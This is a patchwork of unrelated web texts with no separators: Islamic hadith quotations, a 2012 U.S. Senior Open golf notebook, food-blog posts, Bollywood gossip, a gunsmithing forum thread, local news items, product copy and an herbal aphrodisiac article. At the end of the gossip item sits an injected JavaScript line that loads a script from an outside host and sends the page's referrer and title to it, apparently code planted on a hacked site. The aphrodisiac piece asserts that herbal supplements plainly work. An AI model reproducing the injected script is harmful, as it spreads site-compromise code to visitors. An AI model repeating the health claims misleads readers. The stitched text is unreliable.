"Whosoever leaves off obedience and separates from the Jamaa'ah and dies, he dies a death of jaahiliyyah. Whoever fights under the banner of the blind, becoming angry for 'asabiyyah (nationalism/tribalism/partisanship) or calling to 'asabiyyah, or assisting 'asabiyyah, then dies, he dies a death of jaahiliyyah."

The Prophet, said, "Abusing a Muslim is Fusuq (evil doing) and killing him is Kufr (disbelief)." sahih bukhari
"Creeping upon you is the diseases of those people before you: envy and hatred. And hatred is the thing that shaves. I do not say it shaves the hair but it shaves the religion!
By the One in whose Hand is my soul, you will not enter paradise until you believe, and you will not believe until you love one another. Certainly, let me inform you of that which may establish such things: spread the greetings and peace among yourselves."
[Recorded by Imam Ahmad and Al-Tirmidhi]

Round 1 notebook, U.S. Senior OpenJuly 12, 2012
Phil Stambaugh, Champions Tour staff
Weather: Mostly sunny skies with temperatures in the low 80s and winds from the east at 6-12 mph.
62-year-old Tom Kite shot 65 in the morning and holds a one-stroke lead over journeyman Lance Ten Broeck and Germany's Bernhard Langer after the first round of the 33rd U.S. Senior Open Championship. Kite opened the championship by going out in 7-under 28 on the front nine at Indianwood but a double-bogey at No. 17 brought him back to 5-under. In the afternoon wave, Corey Pavin finished his round with an apparent 5-under-par score, but after the round, he was assessed a penalty when video replay confirmed his ball had moved while he was playing No. 14 (his fifth hole of the day (Rule 18-2b).
Current Leaderboard -- 1. Tom Kite 28-37-65 (-5); T2. Lance Ten Broeck 33-33-66 (-4), Bernhard Langer 35-31-66 (-4); T4. Fred Funk 33-34-67 (-3), Mikael Hogberg 36-31-67 (-3), Corey Pavin 35-32-67 (-3), Tom Pernice Jr. 31-36-67 (-3), Jeff Sluman 34-33-67 (-3)
Tom Kite (28-37--65/-5)
• Making his 12th career appearance in the U.S. Senior Open. Best finish was third in 2000 and 2002 and T3 in 2004.
• Is making his 15th career appearance on the 2012 Champions Tour and best finish is a T2 at the Toshiba Classic.
• Was the 18- and 36-hole co-leader last week at the Nature Valley First Tee Open at Pebble Beach before eventually finishing T9 on the Monterey Peninsula.
• His 65 today was his low round of the 2012 season and also matched his low score in a U.S. Senior Open (Rd. 3/2004).
• His 7-under 28 on the front nine not only was a U.S Senior Open record, but also was the lowest scoring total for nine holes in any USGA championship. Kite broke the mark of 29 shot by Olin Browne at Inverness last year on the back nine of the third round. His first nine today included an eagle at the fourth hole and five birdies.
• Kite's 28 today also matched Peter Senior's 28 in the final round of the Senior PGA Championship at Harbor Shores Golf Club (Benton Harbor, Mich.) as the low 9-hole score on the Champions Tour this year.
• Kite's 28 also equaled his career-low score for nine holes on the Champions Tour. Last year on his opening nine of the second round of the Greater Hickory Classic at Rock Barn, Kite shot 28, becoming the first player in Champions Tour history to make three eagles on the same nine.
• Prior to today, the last time Kite was a first-round leader in a major championship was when he held sole possession of the top spot after Thursday at the 2010 Constellation SENIOR PLAYERS Championship at TPC Potomac at Avenel Farm. He eventually finished T16 in Maryland that year.
• At 62, Kite is the oldest leader/co-leader after the first round of a major since 65-year-old Dave Stockton shared the lead on Thursday at the 2007 Senior British Open Championship at Muirfield, Scotland.
Bernhard Langer (35-31� 66/-4)
• Making his fifth appearance in the U.S. Senior Open and won the championship in 2010 at Sahalee Country Club near Seattle.
• Has nine top-10s in his previous 11 tournaments on the 2012 Champions Tour, including a T2 at the Regions Tradition and T4 at the Senior PGA Championship.
• His 66 today was his 18th score in the 60s in 31 stroke-play rounds this year and was his best round in a U.S. Senior Open since posting a 66 on Sunday at the 2008 event.
Lance Ten Broeck (33-33--66/-4)
• Making his fifth career start on the Champions Tour and second appearance in 2012 (T71-Principal Charity Classic).
• Making his first appearance in the U.S. Senior Open and shot 69 at the Paramus, N.J., sectional to qualify.
• Played in 349 PGA TOUR events in his career and best finish in an official event was second at the 1991 Chattanooga Classic. Also won the unofficial Magnolia Classic in 1984.
• Best finish in a U.S. Open was T31 in 1991.
• Has recently caddied for several big-name players on the PGA TOUR -- Robert Allenby and Jesper Parnevik.
Miscellaneous Notes
• Tom Lehman three-putted his final hole of the day to shoot even-par 70 and saw his streak of consecutive rounds in the 60s end at 12 straight, one short of Hale Irwin's all-time record of 13 in a row set during the 1999 season. It marked the second time in his Champions Tour career that Lehman missed out on a chance to tie Irwin's all-time mark. In 2011, Lehman opened the season with 12 straight scores in the 60s, but shot 73 in the first round of the Outback Steakhouse Pro-Am.
• First-round leaders have won just three of the first 14 events on the Champions Tour this year. Roger Chapman was the last first-round leader to win when he claimed the Senior PGA Championship at Harbor Shores in Benton Harbor, Mich.
• Prior to Olin Browne's wire-to-wire triumph last year at Inverness, the last first-round leader to win the U.S. Senior Open was Peter Jacobsen who opened the 2004 U.S. Senior Open at Bellerive Country Club with a 6-under 65.
• Damon Green, normally the caddie for Zach Johnson on the PGA TOUR, is skipping this week's John Deere Classic to play in the U.S. Senior Open. Green shot 68 today at Indianwood, the same score his boss posted at the par-71 TPC Deere Run course in Silvis, Ill.
• Defending champion Olin Browne and Kirk Triplett, last week's winner at the Nature Valley First Tee Open at Pebble Beach, both posted 1-under 71s today.
• David Frost withdrew after eight holes with a back injury while Billy Tuten withdrew before the event and was replaced in the field by Dan Bieber. Barry Mahlberg was disqualified after shooting an 8-over 78. Mahlberg violated Rule 14-3, using a practice device during the round.

My camera is still dead. Per Emily's recommendation, CD ordered a new one for me yesterday (well, new to me, but it's actually used) as a late Christmas…um, I mean early Mother's Day present. As many hints as I've dropped about wanting a new camera, this isn't how I wanted it to come about. My camera was well loved, and I'm still so upset I dropped it. Don't get me wrong, I'm excited about the new one, but I will miss my trusty point and shoot.
Since the camera may not arrive for a while, I'll probably continue to post using my cell phone camera. So, please excuse my photos over the next few weeks. As far as today goes, how about something a little different? No talk of food or recipes. Let's just talk about me. 🙂
Dana awarded me the One Lovely Blog Award and I am to share 7 things about myself and then nominate up to 15 other bloggers to also receive the award. So, 7 things about me…
1) I've never had chickenpox, but apparently I'm immune to them. My doctor believes I had a mild case as a child and never noticed it.
2) I'm scared of the dark. No seriously, I am. If Chris isn't around, I have to leave a light on to fall asleep.
3) CD and I have cut our monthly grocery budget in half since September when we decided to cut down on our food spending. For tips on how we did it, read this post. We also started ordering most of our dry goods from Amazon…like oat bran. Because we signed up for Amazon Mom for diapers, we received a free trial membership of Amazon Prime which gives us free unlimited two-day shipping on all eligible orders. AND, if you sign up for automatic shipment when available, you can save 10% on those particular items. We have oat bran, coconut flour, and diapers set up for automatic delivery, and let me tell you, there is nothing like opening your door to see the Quaker man staring up at you! The HEAB household loves Amazon, and since there is no distribution center here in TN, we also save on state sales tax which is 9.25%. We can't go wrong.
Edited to Add: According to Katie, students can sign up for Amazon Prime for free. Do it…now.
4) I am claustrophobic and cannot ride in the back seat of a 2-door car. Just thinking about it gives me the heebie-jeebies.
5) I've run over 20 half marathons, 1 full marathon, 2 overnight relay races (Hood to Coast), and 1 50K trail race, but I never run anymore. To read about my journey from a cardio junkie to a yoga loving walker/hiker, please click here. Below is a photo of me from Hood to Coast 2008. I was about to run my first leg of the race, and you can see Mt Hood in the background. Speaking of Hood to Coast, some of my teammates and I are getting together tonight to go see the movie. Have you seen it?
6) I despise sushi. Well, not entirely true. I despise nori, and as long as my sushi isn't wrapped in it, I'll eat it.
7) I actually like my driver's license photo.
There you have it, 7 random facts about HEAB. Thanks for the award Dana, and I hereby nominate all my beloved bloggie friends. You know who you are. 🙂

Producer-director Sajid Nadiadwala who is currently busy directing Kick has maintained a very strict policy in his career. He never worked with his friend Salman Khan's girlfriends! Not when he was dating them nor when he split with them.
Sajid Nadiadwala never approached Sangeeta Bijlani, Somy Ali or Aishwarya Rai.
But now, the director looks to break this jinx by signing sizzling actress Katrina Kaif. She will be starring opposite Saif Ali Khan in Kabir Khan's next produced by Nadiadwala.
Says a source, "When Imtiaz Ali was considering various actresses for the role opposite Ranbir Kapoor in Sajid's production (untitled film), he tried to steer the director in the direction of Deepika Padukone and away from Katrina. That was one of the reasons Dips got the film. When it came to Kabir's film too, Sajid was reluctant to take Katrina for the part. But Kabir, who has directed Kat in New York and Ek ThaTiger, was keen to repeat her and was adamant about roping her in.
He is very impressed with the actresses' professionalism and dedication and she suited the role, so he wasn't even willing to consider someone else for the role. Finally, Kabir managed to convince Sajid that she was the best bet for the film."
Sajid had to finally give in. The source further adds, "Kat too had been repeatedly calling Sajid for Kabir's film and showing interest in the project. She even met him a couple of times to persuade him. Finally, Sajid gave the go-ahead to sign Katrina before he left for London. The actress and Salman have broken up and moved on with their respective partners, she with Ranbir and he with Lulia, so Sajid decided to take a professional stand rather than an emotional one, as he had been doing all these years."
Kabir denies he had to persuade Nadiadwala for Katrina, "I have never heard of any such rule."s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + "; s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ";

It's Cinco de Mayo, and I've got nothing but Mexican food on my mind today! So, I'm sharing my favorite, super easy, authentic pico de gallo recipe. Not only do I use this 0 Smart points dish as a dip for tortilla chips, but I use it to top many other foods as well…chicken, fish, salads, sandwiches. My husband will even eat it straight up with a spoon! It may take a few attempts for you to customize this salsa recipe, and have it adjusted to your specific tastes. If you like it spicy, you may want to add a bit more jalapeño and garlic. If you want a slightly sweeter flavor, you may prefer red onion. But you really can't go wrong with this…experimenting with the recipe is fun and delicious! My kids eat it a lot, so this is my mild version. It tastes so fresh and flavorful, I just can't ever get enough of it. Good thing it's 0 Points! Now, if we could just do something about those tortilla chips…
Grilled Salmon with Avocado Salsa – 8 Points +
While it may officially be fall, we've been having a heat wave here in Southern California, so I've been doing my best to take advantage of last minute summer grilling! One of my easiest, healthiest, and most delicious Weight Watchers grilling recipes is this Grilled Salmon with Avocado Salsa. The creaminess of the avocado and the moist, buttery avocado are a perfect contrast to the tangy lime and spicy jalapeño. The flavors are bold and delicious, yet this healthy meal is only 8 Points + per serving. Pair it with steamed brown rice or quinoa and roasted vegetables for a complete meal.
Cranberry Salsa Recipe – 2 Points +
I first came across this amazing Cranberry Salsa Recipe at Crafty's Cafe. Admittedly, I was a bit skeptical at first. But since I adore salsa, I was eager to give it a try. Plus, I thought it would make a really unique Thanksgiving appetizer recipe or Christmas appetizer recipe that would still be Weight Watchers friendly. It sure smelled good while I was making it, and when it was finally ready, I grabbed my favorite baked tortilla chips and dug in. OMG. It was SO good! I seriously could not stop eating it!! It was fresh and flavorful, and also a bit sweet and tart. My version uses lime juice instead of lemon, a bit less sugar and more fresh jalapenos. The flavor combinations worked out perfectly, and the cranberry salsa was a hit. While this makes a perfect festive holiday appetizer or snack, I'll be making it as often as I can find fresh cranberries at the store. This was truly a fantastic dish and a must try.

This salsa recipe is perfect to serve with some baked tortilla chips for a low calorie, healthy Weight Watchers snack. Try it over a baked potato, or on top of an egg white omelet! If you are following the Weight Watchers program, this pico de gallo recipe will be a fabulous addition to your collection of Weight Watchers recipes. Enjoy!

Want to know why Facebook is so popular? It has high emotional yield. It's an affection bargain. A new report from Pew says that we get more out of the thing in terms of response than we give to it.
In one month, Pew study participants "Liked" other people's Facebook content an average of 14 times, and had their own Facebook content "Liked" 20 times. They sent nine personal messages, and received 12. Twelve percent of them tagged friends in photos, and 35 percent were themselves tagged in at least one photo. Forty percent made a friend request, and 63 percent received one.
This is because of what's called the 80:20 rule, where 80 percent of the activity is generated by 20 percent of the users. Those 20 percenters are most active on Facebook, sometimes incredibly active, and because of their, I guess, diligence(?), the rest of us can reap more than we sow. Ergo, Facebook is like being in a really dysfunctional romantic relationship where you treat your partner badly but still receive all the benefits, you jerk. Except here, they never give you the dumping you so richly deserve, because they're covertly being paid to show you advertisements.

Hello all. What good would it do to set back a new factory Remington 700 stock barrel? I am talking about setting it back one thread. Does this increase accuracy, or exactly why would a smith do this on a new factory barrel? Thanks in advance for your replys. Sling Shot

I honestly can't think of any reason why a gunsmith would need to set the barrel back on a NEW Remington 700 barrel. One thread?

Sling Shot, this is normally done to correct a headspace problem. Or if your rifle, new that it may be, was not set to minimum headspace the accuracy will probably be less than it could be. Setting the barrel back one complete thread or turn, .0625" in the 700, keeps the markings and sights alined. The chamber is then reamed to the correct depth. This will improve the accuracy all things being equal but I would consider it part of blueprinting the action. For instance if the face of the receiver and the face of the barrel shoulder aren't square then it probably won't help much. Anytime I set a barrel back to correct a headspace problem I also true the reciever, bolt lugs and bolt face as a part of the job. George

Thanks George for your reply. I was going to have a smith in my local area to do exactly what you described. I just did not know exactly what modifications were included. I just spoke to the smith briefly, and he said that he would set the barrel back one thread and sqare the receiver, and lap the lugs. If the barrel is set back to aquire minimum head space, then would the chamber have to be reamed? Why would it have to be reamed? Sling Shot

Sling Shot, the difference in minimum headspace (go gage) and a headspace problem (no-go gage) is only .004". When you set the barrel back you are shortening the chamber by the amount of one full thread, in this case .0625". That will leave your chamber short and it has to be deepend to get the correct headspace again. George

For the underserved, paying for quality health care can simply be out of the question. Thankfully the Phillips Neighborhood Clinic (PNC) is available to provide free health care in the Phillips neighborhood and surrounding areas to those who otherwise wouldn't be able to afford it.
The clinic celebrates its tenth anniversary this month.
The PNC is operated by University of Minnesota health professional students and are supervised by licensed clinicians. At the PNC, U of M health professional students studying everything from physical therapy to pharmacy and nursing are able to hone their skills to effectively and compassionately serve patients in need.
The PNC offers its patients a variety of services including mental health, nutrition, pediatrics, women's health and pharmacy care. Lab tests such as blood, cholesterol, pregnancy, STD and HIV, and urine tests are also available.
The PNC is located in the Oliver Christian Ministry Center and is open Monday and Wednesday evenings from 6:00 – 9:00 p.m. (except holidays). For more information please contact 612-724-1690.
In light of the clinic's tenth anniversary, a silent auction to raise funds will take place on Thursday, March 7, 2013 at the McNamara Alumni Center. Miss Minnesota Siri Freeh will host the event. Purchase tickets here, or if you can't make the event and would still like to donate, you can do so here.
Over the next few days, Health Talk will highlight U of M health professional students' stories about their experiences at the PNC and how working at the clinic has changed their perspective as future nurses, physical therapists and pharmacists.
Stay tuned!

WINNIPEG A Shilo, Man.-based soldier is accused of sexual assault and two counts of assault causing bodily harm.Follow @Canoe
Douglas Pettie, a 49-year-old master warrant officer with the 2nd Battalion Princess Patricias Canadian Light Infantry, is also charged with four counts of conduct to the prejudice of good order and discipline under the National Defence Act.
Authorities havent released details, but said the crimes date back to between February 2011 and May 2013 in Moncton, N.B., and were reported by a third party, not the sexual assault victim.
He was not charged until April 9, 2014.
"The victim was also a serving member," said Maj. Yves Desbiens, who declined to provide further details.
A military prosecutor will decide whether the case will go to a court martial.
The Canadian Armed Forces do not tolerate sexual misconduct in the workplace, Lt.-Col. Brian Frei said in a prepared statement. Cases like this one erode the standards of military discipline and victimize everyone involved. The military police will thoroughly investigate any allegations of sexual misconduct and lay charges if appropriate.

New Digital Loudspeaker Technology Announced from England
According to a story in the July 27th EE Times, Hooley believes that his group is the first to demonstrate "proof-of-principle" for a completely digital loudspeaker (see related article). Hooley's new company, 1 . . . Ltd. (one limited), has named their approach the DLS (digital loudspeaker), which they hope to bring to market in two years. Working prototypes are expected by October, with a final transducer design expected by next year.
The article states that "the technology is based on an array of small transducers, each driven independently by a datastream at rates well above audio frequencies. The sound arises out of the additive effect of many transducers, just as a display image is built up by viewing many pixels from a distance. Hooley has calculated that 256 transducers mounted in a panel 12 inches on a side are sufficient to cover the audio spectrum."
"A standard loudspeaker is about 1% efficient," said Hooley, "and audio power amplifiers are 30 to 80% efficient, depending on the configuration. That gives about half a percent efficiency for the total chain. We reckon on 5% to 10% efficiency for the transducers. Pulse amplifiers are 90% efficient, so we could get close to 10% efficiency, or 20 times that of analog systems."
The DLS approach is also based on complex digital signal processing, deploying a binary-to-unary conversion technique that Hooley feels will solve many of the problems associated with using a binary signal. "We're trading complex, almost impossible-to-solve mechanical problems in an analog speaker for complex problems that can be solved with DSP," he said.
Hooley explains that "digital loudspeakers have been discussed in principle for over 10 years, but usually under the assumption of binary encoding." The DLS will use 256-level unary resolution, which Hooley claims is the equivalent of 8-bit binary resolution and can be processed to reproduce 16-bit CD-quality audio.
The company is currently using transducers taken from smoke-alarm detectors, but, along with several other research groups, is developing its own unary-driven piston-like design that it hopes will deliver efficient, high-end sound. Stay tuned.

The Uncle Goose Russian Alphabet Blocks set includes 32 blocks, making it a great way to introduce children to the language. The set comes with 4 complete alphabets, 3 sets of numerals, and 32 different animal pictures.
As the phrase famously goes, "They don't make 'em like they used to." Back in the days when Grandpa walked 5 miles uphill to school (both ways), craftsmanship and quality were the standard. We are collectively nostalgic about those "good ol' days," but quality toys are too precious to be simply a pastime. With products like Uncle Goose Blocks by Lindenwood Inc., our kids can have high-quality blocks that are modernized with safe inks, multi-cultural themes, and eco-friendly considerations.
Since 1983, Uncle Goose Blocks have been made right here in the USA. We were excited to learn that they are carved from sustainable Michigan basswood in Grand Rapids, Michigan. Under the direction of founder William Bultman, Uncle Goose Toys revived the tradition of classic embossed blocks – and we couldn't love them more.
The blocks are designed with play value, educational value, and safety in mind:

Quentin rests knee during rehab assignment
Quentin rests knee during rehab assignment
SAN DIEGO -- The Padres gave outfielder and cleanup hitter Carlos Quentin another day to rest his knee on Tuesday, rather than having him continue a rehab assignment with Class A Lake Elsinore.
Quentin was originally scheduled to play for Lake Elsinore on Tuesday and Wednesday.
"I think we're just going to give the knee another day," Padres manager Bud Black said.
Quentin said on Monday he was moving closer to returning to the Padres and he didn't rule out the team's road trip to Philadelphia later this week. Quentin checked in with the Padres on Monday at Petco Park after spending a rehab assignment with Triple-A Tucson.
Quentin went on the disabled list April 3 after undergoing right knee surgery.
Black said Tuesday's day off was simply rest for the left fielder. He's expected to play Wednesday with Lake Elsinore.
"Just one more day," Black said.

For the last three months Pratim Goel, 40-year-old software professional was a bit worried about his marital relationship, sex life to be precise. He was never in the 'mood' and this really got him worried after a sex drought of three months. Once while shopping at the pharmacy, he braced himself to buy herbal aphrodisiac, readily available at almost all pharmacies. The courage paid off because the herbal aphrodisiac did the trick in stoking the fires of passion.
While FDA approves Viagra and Cialis to improve the performance of men's machinery, these products aren't sold off-the-shelf and require a practicing practitioner's prescription. The modus operandi for these medicines lies in increasing concentrations of nitric oxide in the blood which increases blood flow towards penis thus giving stronger and longer lasting erections.
The herbal way
Herbal supplements like Horny Goat Weed and Staminol from GNC are popular herbal aphrodisiacs in men. Traditionally, men in China and Japan had been using Horny Goat Weed to enhance their stamina. Italian researchers found in 2008 that a chemical in Horny Goat Weed, icariin, was as effective as Viagra for erectile dysfunction. Staminol contains a powerful combination of Horny Goat Weed and Yohimbe. These products sell like hot cake and we have a lot of repeat customers, asserts Fatmi. Hence, there is no denying the fact that the herbal supplements work and the after effects are less than the 'blue pill'. The other supplement favoured by many men is ginseng to improve sexual function and general well being, divulges Fatmi. Traditionally, ginseng has been used in China as an adaptogen. An adaptogen is an herb product which increases the body's ability to withstand stress. Ginseng, Siberian or Indian (ashwagandha), it works by improving the immune health of the body. Ginseng contains vitamins A, B6 and zinc. It helps in the production of thymic hormones, which are essential for the functioning of our body's defence mechanism.

The herbs mainly used for this purpose are kaunch beej, uttangan beej, taal mooli, safed musli, makhana, ashwagandha, shatavari, maash, shilajit etc, says Dr. Preeti Chabbara, Ayurveda expert at Ganga Ram Hospital. Some of these herbs like Shatawari is recommended for women too. Ginseng when given to menopausal women also helps relieve hot flashes. Of all these herbs safed musli has gained much popularity, so much so that it is even known as 'Indian Viagra'. The herb has anti-ageing properties and it rejuvenates the whole body and mind. In men it works on their sexual function and improves overall health of women. Xtra Vigour from Guardian contains safed musli and is one of our best selling online products.
